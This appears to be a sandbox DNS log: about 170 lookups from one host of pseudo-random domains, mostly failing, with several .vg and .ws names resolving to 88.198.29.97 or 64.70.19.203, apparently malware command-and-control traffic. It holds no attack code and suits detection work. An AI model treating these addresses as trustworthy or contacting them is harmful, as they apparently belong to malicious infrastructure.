Sep 7, 2024 15:31:37.515127897 CEST	1.1.1.1	192.168.2.7	0xa43e	Name error (3)	kmscwgsaeau.pw	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:37.530769110 CEST	1.1.1.1	192.168.2.7	0xe41b	Name error (3)	kmscwgsaeau.pw	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:37.686997890 CEST	1.1.1.1	192.168.2.7	0x9b22	Name error (3)	anagboyu.st	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:37.734594107 CEST	1.1.1.1	192.168.2.7	0xf65	Name error (3)	anagboyu.st	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:37.949088097 CEST	1.1.1.1	192.168.2.7	0x3179	Name error (3)	aomorbuexkw.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:38.037883043 CEST	1.1.1.1	192.168.2.7	0xbb1d	Name error (3)	aomorbuexkw.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:38.186944962 CEST	1.1.1.1	192.168.2.7	0x7fd9	No error (0)	icsoxxj.vg		88.198.29.97	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:38.466155052 CEST	1.1.1.1	192.168.2.7	0x7c4a	Name error (3)	owqoy.tk	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:38.479396105 CEST	1.1.1.1	192.168.2.7	0x8567	Name error (3)	owqoy.tk	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:38.762737036 CEST	1.1.1.1	192.168.2.7	0xeb5a	Name error (3)	elqqtgiuyassad.tk	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:39.021446943 CEST	1.1.1.1	192.168.2.7	0xf9f	Name error (3)	elqqtgiuyassad.tk	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:39.153844118 CEST	1.1.1.1	192.168.2.7	0xfbf9	No error (0)	esavwuvqkoseg.ws		64.70.19.203	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:39.317589998 CEST	1.1.1.1	192.168.2.7	0x73	No error (0)	dcunbwimkgp.ws		64.70.19.203	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:39.346596956 CEST	1.1.1.1	192.168.2.7	0xf124	Name error (3)	unmomis.biz	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:39.356980085 CEST	1.1.1.1	192.168.2.7	0xff2c	Name error (3)	unmomis.biz	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:39.486746073 CEST	1.1.1.1	192.168.2.7	0x11e8	No error (0)	lxegmfa.vg		88.198.29.97	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:39.710848093 CEST	1.1.1.1	192.168.2.7	0xc78e	Name error (3)	esmjouyim.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:39.954346895 CEST	1.1.1.1	192.168.2.7	0xb09d	Name error (3)	esmjouyim.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:40.245697021 CEST	1.1.1.1	192.168.2.7	0x2c6b	Name error (3)	cubekocaqqqhmy.tk	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:40.512075901 CEST	1.1.1.1	192.168.2.7	0xf679	Name error (3)	cubekocaqqqhmy.tk	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:40.642457962 CEST	1.1.1.1	192.168.2.7	0xd157	Name error (3)	cmcokfbkk.pw	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:40.671147108 CEST	1.1.1.1	192.168.2.7	0xd370	Name error (3)	cmcokfbkk.pw	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:41.038135052 CEST	1.1.1.1	192.168.2.7	0xab12	Name error (3)	vqoaoij.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:41.154954910 CEST	1.1.1.1	192.168.2.7	0x14f5	Name error (3)	vqoaoij.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:41.303368092 CEST	1.1.1.1	192.168.2.7	0x349d	Name error (3)	iwlbfgw.st	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:41.386605024 CEST	1.1.1.1	192.168.2.7	0xa5cd	Name error (3)	iwlbfgw.st	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:41.595961094 CEST	1.1.1.1	192.168.2.7	0x9bad	Name error (3)	xakkcmmeqsh.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:41.934746981 CEST	1.1.1.1	192.168.2.7	0xa893	Name error (3)	xakkcmmeqsh.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:42.333947897 CEST	1.1.1.1	192.168.2.7	0xc026	Name error (3)	eenliu.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:42.346537113 CEST	1.1.1.1	192.168.2.7	0xe3da	Name error (3)	eenliu.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:42.474036932 CEST	1.1.1.1	192.168.2.7	0x3f9	No error (0)	mumvetosocg.vg		88.198.29.97	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:42.703685999 CEST	1.1.1.1	192.168.2.7	0xc03e	Name error (3)	cqculefd.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:42.816063881 CEST	1.1.1.1	192.168.2.7	0xc6cd	Name error (3)	cqculefd.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:42.956943989 CEST	1.1.1.1	192.168.2.7	0x30f4	Name error (3)	daialkqfbqcz.nu	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:42.971374989 CEST	1.1.1.1	192.168.2.7	0xbced	Name error (3)	daialkqfbqcz.nu	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:43.828314066 CEST	1.1.1.1	192.168.2.7	0x7a49	Name error (3)	iooeygtl.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:43.930322886 CEST	1.1.1.1	192.168.2.7	0x8c16	Name error (3)	iooeygtl.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:44.060317039 CEST	1.1.1.1	192.168.2.7	0xc911	No error (0)	monaunc.ws		64.70.19.203	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:44.430809021 CEST	1.1.1.1	192.168.2.7	0xee3f	Name error (3)	rkqwdgxoi.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:44.534183025 CEST	1.1.1.1	192.168.2.7	0xad2a	Name error (3)	rkqwdgxoi.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:44.657799959 CEST	1.1.1.1	192.168.2.7	0x1de0	Name error (3)	oewgaowl.nu	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:44.673988104 CEST	1.1.1.1	192.168.2.7	0x22ce	Name error (3)	oewgaowl.nu	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:44.892364025 CEST	1.1.1.1	192.168.2.7	0xa36a	Name error (3)	oqawtqecg.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:45.134301901 CEST	1.1.1.1	192.168.2.7	0x9e47	Name error (3)	oqawtqecg.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:45.275672913 CEST	1.1.1.1	192.168.2.7	0xf5ce	Name error (3)	ywlgopsbq.st	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:45.559021950 CEST	1.1.1.1	192.168.2.7	0xf8bc	Name error (3)	ywlgopsbq.st	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:46.202924013 CEST	1.1.1.1	192.168.2.7	0xcb67	Name error (3)	mvjmsgs.st	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:46.239991903 CEST	1.1.1.1	192.168.2.7	0x6a96	Name error (3)	mvjmsgs.st	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:46.359740019 CEST	1.1.1.1	192.168.2.7	0xe47c	No error (0)	whgptwpsa.vg		88.198.29.97	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:46.380785942 CEST	1.1.1.1	192.168.2.7	0x10cb	Name error (3)	unmomis.biz	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:46.391371012 CEST	1.1.1.1	192.168.2.7	0x6c67	Name error (3)	unmomis.biz	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:46.499284983 CEST	1.1.1.1	192.168.2.7	0xaa06	Name error (3)	aywrcwtsiz.nu	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:46.512032032 CEST	1.1.1.1	192.168.2.7	0x1ef4	Name error (3)	aywrcwtsiz.nu	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:46.627094030 CEST	1.1.1.1	192.168.2.7	0xe2ce	Name error (3)	emkiycugaumouu.nu	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:46.641114950 CEST	1.1.1.1	192.168.2.7	0x3ca7	Name error (3)	emkiycugaumouu.nu	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:46.771477938 CEST	1.1.1.1	192.168.2.7	0x70a6	Name error (3)	kcqkywcumn.pw	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:46.787132025 CEST	1.1.1.1	192.168.2.7	0xf241	Name error (3)	kcqkywcumn.pw	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:46.905504942 CEST	1.1.1.1	192.168.2.7	0x336e	Name error (3)	visucqkss.museum	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:46.931298018 CEST	1.1.1.1	192.168.2.7	0x63c	Name error (3)	visucqkss.museum	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:47.063918114 CEST	1.1.1.1	192.168.2.7	0xb03e	No error (0)	ioouqzzecu.ws		64.70.19.203	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:47.415864944 CEST	1.1.1.1	192.168.2.7	0xa4ec	Name error (3)	lqymiuillfonv.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:47.517389059 CEST	1.1.1.1	192.168.2.7	0x1da9	Name error (3)	lqymiuillfonv.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:47.721741915 CEST	1.1.1.1	192.168.2.7	0x1365	Name error (3)	wsyptefqnfo.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:48.210609913 CEST	1.1.1.1	192.168.2.7	0xa509	Name error (3)	wsyptefqnfo.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:48.421550989 CEST	1.1.1.1	192.168.2.7	0x2f2	Name error (3)	gmcwr.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:48.432894945 CEST	1.1.1.1	192.168.2.7	0xd97	Name error (3)	gmcwr.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:48.546643972 CEST	1.1.1.1	192.168.2.7	0xc43d	Name error (3)	ikbymqbyeu.museum	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:48.559058905 CEST	1.1.1.1	192.168.2.7	0x45d9	Name error (3)	ikbymqbyeu.museum	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:48.766937971 CEST	1.1.1.1	192.168.2.7	0x73e3	Name error (3)	cddgtme.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:48.875528097 CEST	1.1.1.1	192.168.2.7	0xccfe	Name error (3)	cddgtme.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:49.443681002 CEST	1.1.1.1	192.168.2.7	0x6eca	Name error (3)	ziknc.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:49.790143967 CEST	1.1.1.1	192.168.2.7	0xebef	Name error (3)	ziknc.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:49.950716019 CEST	1.1.1.1	192.168.2.7	0x456e	Name error (3)	qvefypmms.st	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:49.988759041 CEST	1.1.1.1	192.168.2.7	0xc9cd	Name error (3)	qvefypmms.st	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:50.163765907 CEST	1.1.1.1	192.168.2.7	0xda0c	Name error (3)	aecgagiuamg.st	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:50.204473972 CEST	1.1.1.1	192.168.2.7	0xb2	Name error (3)	aecgagiuamg.st	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:50.540565968 CEST	1.1.1.1	192.168.2.7	0xbc14	Name error (3)	jkcteeqcqmptiw.nu	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:50.588300943 CEST	1.1.1.1	192.168.2.7	0xe567	Name error (3)	jkcteeqcqmptiw.nu	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:51.039961100 CEST	1.1.1.1	192.168.2.7	0xef40	Name error (3)	iojwmlc.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:51.294233084 CEST	1.1.1.1	192.168.2.7	0x7e16	Name error (3)	iojwmlc.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:51.428705931 CEST	1.1.1.1	192.168.2.7	0x6752	Name error (3)	ngugovowmolzc.st	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:51.482705116 CEST	1.1.1.1	192.168.2.7	0x83c2	Name error (3)	ngugovowmolzc.st	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:51.691597939 CEST	1.1.1.1	192.168.2.7	0x1fb4	Name error (3)	iqtzgamkezkxlc.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:51.945171118 CEST	1.1.1.1	192.168.2.7	0x3820	Name error (3)	iqtzgamkezkxlc.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:52.206078053 CEST	1.1.1.1	192.168.2.7	0x3122	Name error (3)	icootdf.tk	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:52.372838020 CEST	1.1.1.1	192.168.2.7	0x398	Name error (3)	icootdf.tk	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:52.512777090 CEST	1.1.1.1	192.168.2.7	0x719f	Name error (3)	ynckk.st	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:52.778568983 CEST	1.1.1.1	192.168.2.7	0x2654	Name error (3)	ynckk.st	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:52.915884972 CEST	1.1.1.1	192.168.2.7	0x86d4	Name error (3)	qsmjdvv.st	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:52.978013992 CEST	1.1.1.1	192.168.2.7	0xcedf	Name error (3)	qsmjdvv.st	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:53.100451946 CEST	1.1.1.1	192.168.2.7	0x7b46	No error (0)	hinhw.vg		88.198.29.97	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:53.120708942 CEST	1.1.1.1	192.168.2.7	0x87fe	Name error (3)	unmomis.biz	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:53.136923075 CEST	1.1.1.1	192.168.2.7	0x35ae	Name error (3)	unmomis.biz	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:53.526015043 CEST	1.1.1.1	192.168.2.7	0xbd93	Name error (3)	gzish.st	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:53.567305088 CEST	1.1.1.1	192.168.2.7	0x1ce3	Name error (3)	gzish.st	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:53.765057087 CEST	1.1.1.1	192.168.2.7	0x6e72	Name error (3)	nqdmyhjzidiok.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:54.006417990 CEST	1.1.1.1	192.168.2.7	0x686b	Name error (3)	nqdmyhjzidiok.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:54.109854937 CEST	1.1.1.1	192.168.2.7	0xd58d	Name error (3)	qkqcckasp.pw	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:54.122134924 CEST	1.1.1.1	192.168.2.7	0xbcc3	Name error (3)	qkqcckasp.pw	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:54.263447046 CEST	1.1.1.1	192.168.2.7	0xdac8	Name error (3)	aiuweus.st	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:54.303482056 CEST	1.1.1.1	192.168.2.7	0x1e3c	Name error (3)	aiuweus.st	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:54.416961908 CEST	1.1.1.1	192.168.2.7	0x55f7	No error (0)	mgqiuyioetg.ws		64.70.19.203	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:54.851217985 CEST	1.1.1.1	192.168.2.7	0xa037	Name error (3)	iacmsdmipw.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:55.087137938 CEST	1.1.1.1	192.168.2.7	0xc2a	Name error (3)	iacmsdmipw.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:55.199234962 CEST	1.1.1.1	192.168.2.7	0xfef3	No error (0)	wtivg.vg		88.198.29.97	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:55.311789036 CEST	1.1.1.1	192.168.2.7	0x7130	Name error (3)	ycgaqse.museum	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:55.323441982 CEST	1.1.1.1	192.168.2.7	0xb57d	Name error (3)	ycgaqse.museum	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:55.443917036 CEST	1.1.1.1	192.168.2.7	0x9973	Name error (3)	rcyxwj.st	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:55.481065035 CEST	1.1.1.1	192.168.2.7	0xe66f	Name error (3)	rcyxwj.st	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:55.593431950 CEST	1.1.1.1	192.168.2.7	0xbf13	Name error (3)	kgbkn.nu	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:55.606024027 CEST	1.1.1.1	192.168.2.7	0x8201	Name error (3)	kgbkn.nu	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:55.740889072 CEST	1.1.1.1	192.168.2.7	0xb828	Name error (3)	ueuhja.st	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:55.776927948 CEST	1.1.1.1	192.168.2.7	0x9476	Name error (3)	ueuhja.st	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:56.132062912 CEST	1.1.1.1	192.168.2.7	0xd62f	Name error (3)	sxitmgachwcftc.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:56.371119022 CEST	1.1.1.1	192.168.2.7	0xe6c9	Name error (3)	sxitmgachwcftc.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:56.557214022 CEST	1.1.1.1	192.168.2.7	0xca27	Name error (3)	svcoo.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:56.796751022 CEST	1.1.1.1	192.168.2.7	0xfd5	Name error (3)	svcoo.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:56.917501926 CEST	1.1.1.1	192.168.2.7	0xde13	No error (0)	suafgoya.vg		88.198.29.97	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:57.061196089 CEST	1.1.1.1	192.168.2.7	0x1617	Name error (3)	cehukem.nu	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:57.091746092 CEST	1.1.1.1	192.168.2.7	0x7bf4	Name error (3)	cehukem.nu	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:57.208570957 CEST	1.1.1.1	192.168.2.7	0xc419	Name error (3)	cyeqglsou.st	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:57.479801893 CEST	1.1.1.1	192.168.2.7	0x36b6	Name error (3)	cyeqglsou.st	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:57.579190969 CEST	1.1.1.1	192.168.2.7	0xbeea	No error (0)	ihmqwebenkcyl.vg		88.198.29.97	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:57.602077961 CEST	1.1.1.1	192.168.2.7	0x66e7	Name error (3)	unmomis.biz	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:57.617804050 CEST	1.1.1.1	192.168.2.7	0x6cf3	Name error (3)	unmomis.biz	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:57.740005016 CEST	1.1.1.1	192.168.2.7	0xae75	No error (0)	xyrnewhuygeco.vg		88.198.29.97	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:57.858913898 CEST	1.1.1.1	192.168.2.7	0x9b5	Name error (3)	dajcqakcmny.nu	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:57.902623892 CEST	1.1.1.1	192.168.2.7	0xa48f	Name error (3)	dajcqakcmny.nu	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:58.010734081 CEST	1.1.1.1	192.168.2.7	0x59b0	No error (0)	auylucqir.vg		88.198.29.97	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:58.386842966 CEST	1.1.1.1	192.168.2.7	0xc8cb	Name error (3)	uzgazuzotyo.st	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:58.399297953 CEST	1.1.1.1	192.168.2.7	0x513f	Name error (3)	uzgazuzotyo.st	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:58.527606010 CEST	1.1.1.1	192.168.2.7	0xae68	No error (0)	szmyagiieis.vg		88.198.29.97	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:58.873877048 CEST	1.1.1.1	192.168.2.7	0x9e65	Name error (3)	ayqcc.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:59.720135927 CEST	1.1.1.1	192.168.2.7	0x7f5	Name error (3)	ayqcc.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:59.841738939 CEST	1.1.1.1	192.168.2.7	0x8784	Name error (3)	zuqpwsaissoqa.museum	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:59.860305071 CEST	1.1.1.1	192.168.2.7	0x1b83	Name error (3)	zuqpwsaissoqa.museum	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:00.900233984 CEST	1.1.1.1	192.168.2.7	0x7bed	Name error (3)	jarceuu.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:01.006475925 CEST	1.1.1.1	192.168.2.7	0x5e23	Name error (3)	jarceuu.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:01.209270954 CEST	1.1.1.1	192.168.2.7	0x7440	Name error (3)	ljgys.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:01.220297098 CEST	1.1.1.1	192.168.2.7	0xbad2	Name error (3)	ljgys.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:01.431912899 CEST	1.1.1.1	192.168.2.7	0x470a	Name error (3)	akejcaowrikmu.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:01.675050020 CEST	1.1.1.1	192.168.2.7	0x7401	Name error (3)	akejcaowrikmu.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:01.812489986 CEST	1.1.1.1	192.168.2.7	0xa84b	Name error (3)	ylkzowi.nu	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:01.839155912 CEST	1.1.1.1	192.168.2.7	0x5e2	Name error (3)	ylkzowi.nu	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:01.941668034 CEST	1.1.1.1	192.168.2.7	0xd89	Name error (3)	sdzggd.nu	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:01.957331896 CEST	1.1.1.1	192.168.2.7	0xa91	Name error (3)	sdzggd.nu	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:02.078121901 CEST	1.1.1.1	192.168.2.7	0x753d	No error (0)	xemcwcmuiyek.vg		88.198.29.97	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:02.195544958 CEST	1.1.1.1	192.168.2.7	0x2df9	No error (0)	xaicicowq.vg		88.198.29.97	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:02.548580885 CEST	1.1.1.1	192.168.2.7	0x7000	Name error (3)	efolcxk.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:02.789365053 CEST	1.1.1.1	192.168.2.7	0xbe64	Name error (3)	efolcxk.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:03.048141003 CEST	1.1.1.1	192.168.2.7	0xe443	Name error (3)	zlucrdfbbzewdw.tk	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:03.235824108 CEST	1.1.1.1	192.168.2.7	0xf3f1	Name error (3)	zlucrdfbbzewdw.tk	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:03.482402086 CEST	1.1.1.1	192.168.2.7	0x1e32	Name error (3)	pagekgd.tk	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:03.751668930 CEST	1.1.1.1	192.168.2.7	0xbca1	Name error (3)	pagekgd.tk	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:03.895741940 CEST	1.1.1.1	192.168.2.7	0x4d42	Name error (3)	mpiuirgjgevqx.st	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:03.931014061 CEST	1.1.1.1	192.168.2.7	0x4ac4	Name error (3)	mpiuirgjgevqx.st	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:04.031809092 CEST	1.1.1.1	192.168.2.7	0xcfcb	Name error (3)	qrolyncbcne.nu	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:04.044708014 CEST	1.1.1.1	192.168.2.7	0x77ba	Name error (3)	qrolyncbcne.nu	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:04.367221117 CEST	1.1.1.1	192.168.2.7	0x42c9	Name error (3)	kmtqnmaydjg.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:04.622698069 CEST	1.1.1.1	192.168.2.7	0x20bb	Name error (3)	kmtqnmaydjg.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:04.806647062 CEST	1.1.1.1	192.168.2.7	0xc555	Name error (3)	hxnckezhossa.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:04.818738937 CEST	1.1.1.1	192.168.2.7	0x3811	Name error (3)	hxnckezhossa.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:04.923551083 CEST	1.1.1.1	192.168.2.7	0xc56c	No error (0)	tcmmfrsiy.vg		88.198.29.97	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:04.955363989 CEST	1.1.1.1	192.168.2.7	0x3514	Name error (3)	unmomis.biz	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:04.968039989 CEST	1.1.1.1	192.168.2.7	0xe8de	Name error (3)	unmomis.biz	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:05.074726105 CEST	1.1.1.1	192.168.2.7	0xee91	Name error (3)	zzsqd.pw	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:05.086749077 CEST	1.1.1.1	192.168.2.7	0x9b88	Name error (3)	zzsqd.pw	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:05.223416090 CEST	1.1.1.1	192.168.2.7	0xfd64	Name error (3)	shnaw.st	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:05.265000105 CEST	1.1.1.1	192.168.2.7	0x76d6	Name error (3)	shnaw.st	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:05.361155033 CEST	1.1.1.1	192.168.2.7	0xc0b1	Name error (3)	atsedkagi.nu	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:05.373198986 CEST	1.1.1.1	192.168.2.7	0x6d65	Name error (3)	atsedkagi.nu	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:05.561491966 CEST	1.1.1.1	192.168.2.7	0x3605	Name error (3)	qoqyiwfwz.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:05.806087971 CEST	1.1.1.1	192.168.2.7	0x4bfd	Name error (3)	qoqyiwfwz.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:06.138926029 CEST	1.1.1.1	192.168.2.7	0xa6bb	Name error (3)	frseecqarb.mp	none	none	A (IP address)	IN (0x0001)	false
